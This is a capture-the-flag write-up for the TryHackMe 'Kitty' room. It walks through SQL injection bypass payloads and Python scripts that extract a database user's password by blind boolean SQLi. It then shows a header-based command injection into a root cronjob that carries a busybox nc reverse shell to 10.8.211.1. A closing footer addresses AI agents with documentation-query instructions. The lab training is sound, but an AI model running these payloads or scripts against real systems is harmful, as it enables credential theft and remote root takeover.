# Kitty

{% embed url="<https://tryhackme.com/room/kitty>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start with a Nmap scan and discover only two open ports. SSH is running on port 22 and an HTTP server on port 80 that serves PHP via Apache.

<figure><img src="/files/DxOEnk0n0t7Ql0kDYzG4" alt=""><figcaption></figcaption></figure>

We already know that we are dealing with PHP, so we add the `.php` extensions directly to our Gobuster scan. We find some pages that we could have found by visiting them manually.

<figure><img src="/files/W45WXAFFDAcysjXujlGQ" alt=""><figcaption></figcaption></figure>

## Foothold

We visit the site and are greeted directly with a login page. We have the option of registering an account, but first let's use the destructive variant of an SQL injection to see if the login is vulnerable. You can find out why it is destructively in the following TryHackMe room:&#x20;

{% embed url="<https://tryhackme.com/room/lessonlearned>" %}

```
' OR 1=1 -- -
```

<figure><img src="/files/qTq6DMuRr4vEgM2mRwZ2" alt=""><figcaption></figcaption></figure>

After we have sent `' OR 1=1 -- -`, we are informed that SQL Injection has been detected and this incident is now logged. Interesting. Possibly, this seems to be about SQL injection or bypassing the check.

<figure><img src="/files/TyQIthtxBDeh9dMWY8KO" alt=""><figcaption></figcaption></figure>

Ok, let's create a test user. At first, I registered my own username, 0xb0b, here, but this was strangely also recognized as an SQL injection on log-in. The filter does not seem to be working properly.

<figure><img src="/files/RDodcdsE457z2gQz7S7K" alt=""><figcaption></figcaption></figure>

After we have logged in with the test user, we are greeted on the welcome page. Strangely, we can only log out.

<figure><img src="/files/1MiNRTKPiTBzjXciCdQt" alt=""><figcaption></figcaption></figure>

Now we try a less destructive SQL injection variant. We use the user we just created, and try to log in with this without a password.

<figure><img src="/files/Ae95Lb82j7E4zLUPv4Tj" alt=""><figcaption></figcaption></figure>

This works; the filter does not seem to recognize everything, and fortunately, special characters are not sanitized

<figure><img src="/files/898rMVOmqZumAOw7EB4b" alt=""><figcaption></figcaption></figure>

It is noticeable that if our SQL injection is successful, we are logged in. We are therefore informed whether our attack was successful. With this information, we can carry out a Blind Boolean Based SQL Injection Attack to enumerate the database, underlying tables and entries.&#x20;

For this, I refer you to the following TryHackMe room, which explains this attack under **Task 7 Blind SQLi - Boolean Based**:

{% embed url="<https://tryhackme.com/room/sqlinjectionlm>" %}

We first look at how many columns the underlying user table has. There are 4, with the following query, we can log in.

```sql
' UNION SELECT 1,2,3,4; -- -
```

We use here the `-- -` as an inline SQL comment in MySQL because MySQL requires the second dash in a double-dash comment to be followed by at least one whitespace character, which may be trimmed in web environments. By adding a character after the whitespace character, the trimming of it is prevented and the following is interpreted as a comment. A detailed explanation can be found here:

{% embed url="<https://blog.raw.pm/en/sql-injection-mysql-comment/>" %}

By using `database()`, we can enumerate the database name. To do this, we work our way through, letter for letter, with the `like` operator and the wildcard `%`. If we have a match, we are able to log in.

```sql
' UNION SELECT 1,2,3,4 where database() like '%'; -- -
```

Since this attack is very laborious, we write ourselves a script. The script checks each printable character and compares the response sizes, which changes with a successful login. If a character is in the pool, it is appended and work continues with it.

{% code title="enum\_db.py" lineNumbers="true" %}

```python
import requests

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://kitty.thm/index.php'
headers = {
	'Host': 'kitty.thm',
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Origin': 'http://kitty.thm',
	'Connection': 'close',
	'Referer': 'http://kitty.thm/index.php',
	'Upgrade-Insecure-Requests': '1'
}
result = ''
while True:
	for elem in probe:
		query = "' UNION SELECT 1,2,3,4 where database() like '{sub}%';-- -".format(sub=result+elem)
		data = {
		    'username': query,
		    'password': '123456'
		}
		response = requests.post(url, headers=headers, data=data,allow_redirects=True)
		#print("Size of Response Content:", len(response.content), "bytes")
		if(len(response.content) == 618):
			result += elem
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')
```

{% endcode %}

After a short duration, we get the database name `websites.`

<figure><img src="/files/AhMhpwvxZWbHabJOk2fv" alt=""><figcaption></figcaption></figure>

The following query searches for results in the `information_schema database` in the tables table, where the database name starts with mywebsite. We can test this query in advance when logging in and see that we can log in successfully.

```
' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'mywebsite' and table_name like '%';-- -
```

Next, we adapt the query for the script `enum_db.py`, this can be replaced in the script at line 21.

{% code overflow="wrap" %}

```python
query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'mywebsite' and table_name like '{sub}%';-- -".format(sub=result+elem)
```

{% endcode %}

After a short time, we see that the user table has the name `siteusers`.

<figure><img src="/files/wma0bNsVWOdCkMiuhRDk" alt=""><figcaption></figcaption></figure>

Theoretically, we could enumerate the columns names, but let's try it this way and assume that the columns are username and password. Let's prepare the query to enumerate the users in the database.

```
' UNION SELECT 1,2,3,4 from siteusers where username like '%' -- -
```

When enumerating, we notice that we find our user test first. Ok, it can happen; the script is not very cleverly designed. So let's adjust the query and ignore our user.

{% code overflow="wrap" %}

```python
query = "' UNION SELECT 1,2,3,4 from siteusers where username like '{sub}%' -- -".format(sub=result+elem)
```

{% endcode %}

The following query can be used in the script to get the user.

{% code overflow="wrap" %}

```python
query = "' UNION SELECT 1,2,3,4 from siteusers where username like '{sub}%' and username != 'test'-- -".format(sub=result+elem)
```

{% endcode %}

It is the user `kitt`y.

<figure><img src="/files/8GNOzDnCL9mCk3HP60ns" alt=""><figcaption></figcaption></figure>

Next, we can try to get `kittys` password.

{% code overflow="wrap" %}

```python
query = "' UNION SELECT 1,2,3,4 from siteusers where username = 'kitty' and password like '{sub}%' -- -".format(sub=result+elem)
```

{% endcode %}

We get the password. But we cannot log in via SSH. The password does not seem quite correct. Unfortunately, we get everything in lowercase letters because `like` does not differentiate here. But there is a workaround:

<figure><img src="/files/fkdGCSS3KFVaqGJYkVCt" alt=""><figcaption></figcaption></figure>

If we want to match case-sensitively, we cast the value as binary. This is a byte-by-byte comparison vs. a character-by-character comparison. So, all we need to do is add the query is `BINARY.`<br>

{% embed url="<https://davidhamann.de/2019/02/25/mysql-case-sensitive-like-search/>" %}

{% code overflow="wrap" %}

```python
query = "' UNION SELECT 1,2,3,4 from siteusers where username = 'kitty' and password like BINARY '{sub}%' -- -".format(sub=result+elem)
```

{% endcode %}

With that, we get the correct password...

<figure><img src="/files/m9sMLIsxw0UEFtAsTfO2" alt=""><figcaption></figcaption></figure>

... and are able to log in via SSH as user kitty. We find the first flag in the user's home directory.

<figure><img src="/files/xR8vH4cyRdXa1zP20FDd" alt=""><figcaption></figcaption></figure>

The following script combines all steps.

{% code title="all.py" lineNumbers="true" %}

```python
import requests

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://kitty.thm/index.php'
headers = {
	'Host': 'kitty.thm',
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Origin': 'http://kitty.thm',
	'Connection': 'close',
	'Referer': 'http://kitty.thm/index.php',
	'Upgrade-Insecure-Requests': '1'
}
db_name = ''
table_name = '' 
user_name = '' 
password = '' 

state = 1
while state < 5:
	for elem in probe:
		if state == 1:
			query = "' UNION SELECT 1,2,3,4 where database() like '{sub}%';-- -".format(sub=db_name+elem)
		elif state == 2:
			query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = '{db}' and table_name like '{sub}%';-- -".format(sub=table_name+elem, db=db_name)
		elif state == 3:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username like '{sub}%' -- -".format(sub=user_name+elem,tb=table_name)
		elif state == 4:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username = '{user}' and password like BINARY '{sub}%' -- -".format(sub=password+elem,tb=table_name,user=user_name)
		
		data = {
		    'username': query,
		    'password': '123456'
		}
		response = requests.post(url, headers=headers, data=data,allow_redirects=True)
		#print("Size of Response Content:", len(response.content), "bytes")
		if(len(response.content) == 618):
			if state == 1:
				db_name += elem
			if state == 2:
				table_name += elem	
			if state == 3:
				user_name += elem
			if state == 4:
				password += elem
			break
		if(elem == probe[-1]):
			print('\033[K')
			if state == 1:
				print("database:\t" + db_name)
			elif state == 2:
				print("table:\t\t" + table_name)
			elif state == 3:
				print("user:\t\t" + user_name)
			elif state == 4:
				print("password:\t" + password)
			state = state +1
		if(elem != "\n"):		
			if state == 1:
				print("database:\t" + db_name+elem,end='\r')
			elif state == 2:
				print("table:\t\t" + table_name+elem,end='\r')
			elif state == 3:
				print("user:\t\t" + user_name+elem,end='\r')
			elif state == 4:
				print("password:\t" + password+elem,end='\r')

```

{% endcode %}

<figure><img src="/files/VenY2XWsbtTqf3lVE4Po" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

When enumerating, we use pspy64 and determine that a cronjob is running in the background. This executes the script `/opt/log_checker.sh` as `root`.

<figure><img src="/files/uPtQSGAHXK7WuYnlMNif" alt=""><figcaption></figcaption></figure>

Unfortunately, we do not have write access to the script, but we can see that this shell script reads IP addresses from a file located at `/var/www/development/logged`, then appends each IP address to the file `/root/logged`, and finally clears the original file `/var/www/development/logged`.

The interesting part is, that it is invoking a new shell to echo the IP into `/root/logged`. So, if we are able to control IP, we should be able to execute commands via command injection.

<figure><img src="/files/vH4ZzYuYjKEKQVqXxHhk" alt=""><figcaption></figcaption></figure>

Let's take a look at `/var/www/development`. We see the same pages here as the server provided us with before.&#x20;

<figure><img src="/files/UCKU16IheZyiPFLMz3i0" alt=""><figcaption></figcaption></figure>

We remember that detected SQL Injection is logged. So let's take a look at `index.php` to see exactly how this happens.

<figure><img src="/files/GfvRX9jWXAD05fTnvuXP" alt=""><figcaption></figcaption></figure>

Here we can see that the IP is determined through the `X-Forwarded header`. Nice. This we can control. We also see that `0x/i` is recognized as an evil character, which is the reason why my username triggers the SQL injection detection.

<figure><img src="/files/nnzQ7flzhSKluaxna6D1" alt=""><figcaption></figcaption></figure>

Let's check where this development instance is running, because after making an 'evil' request with a set `X-Forwarded-For` header to `kitty.thm` nothing happened. \
Via `apache2ctl -s` we can display the current configuration settings of the Apache HTTP Server. We see an instance running on `127.0.0.1:8080` with a `dev_site.conf`. This seems to be our candidate.

<figure><img src="/files/EZ4DR3oWJu951iKEFo0B" alt=""><figcaption></figcaption></figure>

To confirm this, we check out the config and see indeed its DocumentRoot at `/var/www/development`.

<figure><img src="/files/2efShPzJvQWPaTPbCqDG" alt=""><figcaption></figcaption></figure>

To access `127.0.0.1:8080`, we could use local port forwarding via ssh. Or we just query that endpoint using cURL on the machine itself.

Next, we set up a simple post request with our evil username `0xb0b` that only writes `"hello"` in the logged file using the `X-Forwarded-For` header. For this, we use cURL.

```bash
curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: hello" \
  -d "username=0xb0b&password=asdasd" \
  http://127.0.0.1:8080/index.php
```

After we have made our request, we see that the file `logged` actually has the content of the header.

<figure><img src="/files/7cgn9zv1Ki7WrfAeY4OG" alt=""><figcaption></figcaption></figure>

We set up a listener on port `4445` and fire our request with a reverse shell payload. I like to use busybox because there are usually no special character needed, and it is very simple. We have previously found them on the system as user `kitty`.

We use command substitution via `$()`. Command substitution allows the output of a command to replace the command itself. This means that the command inside `$()` is evaluated first. It is important that we escape the `$` with `\`, we want to write it to the file first; otherwise, it gets executed while doing the POST request and we get a connection back as the current user `kitty`.

{% embed url="<https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html>" %}

Another good explanation of command substitution can be found here:

{% embed url="<https://unix.stackexchange.com/questions/440088/what-is-command-substitution-in-a-shell>" %}

```bash
curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: \$(busybox nc 10.8.211.1 4445 -e /bin/bash)" \
  -d "username=0xb0b&password=asdasd" \
  http://127.0.0.1:8080/index.php
```

After we have submitted our request, we check the file `logged` and see the command as we need it. If `log_checker.sh` is now executed, the command is inserted as follows: `/usr/bin/sh -c "echo $(busybox nc 10.8.211.1 4445 -e /bin/bash) >> /root/logged";`

<figure><img src="/files/qkYA5BlWYREToHNpDFQ1" alt=""><figcaption></figcaption></figure>

Then, subsequently, we get a connection. We are `root` and find the root flag in root's home directory.

<figure><img src="/files/ZqXWo5Ssi6bqLNYVGAnk" alt=""><figcaption></figcaption></figure>

## Recommendation

Don't miss out on Aquinas' professional and well structued approach to solving this challenge using SQLMap:

{% embed url="<https://github.com/ChrisPritchard/ctf-writeups/blob/master/tryhackme-rooms/kitty.md>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/kitty.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
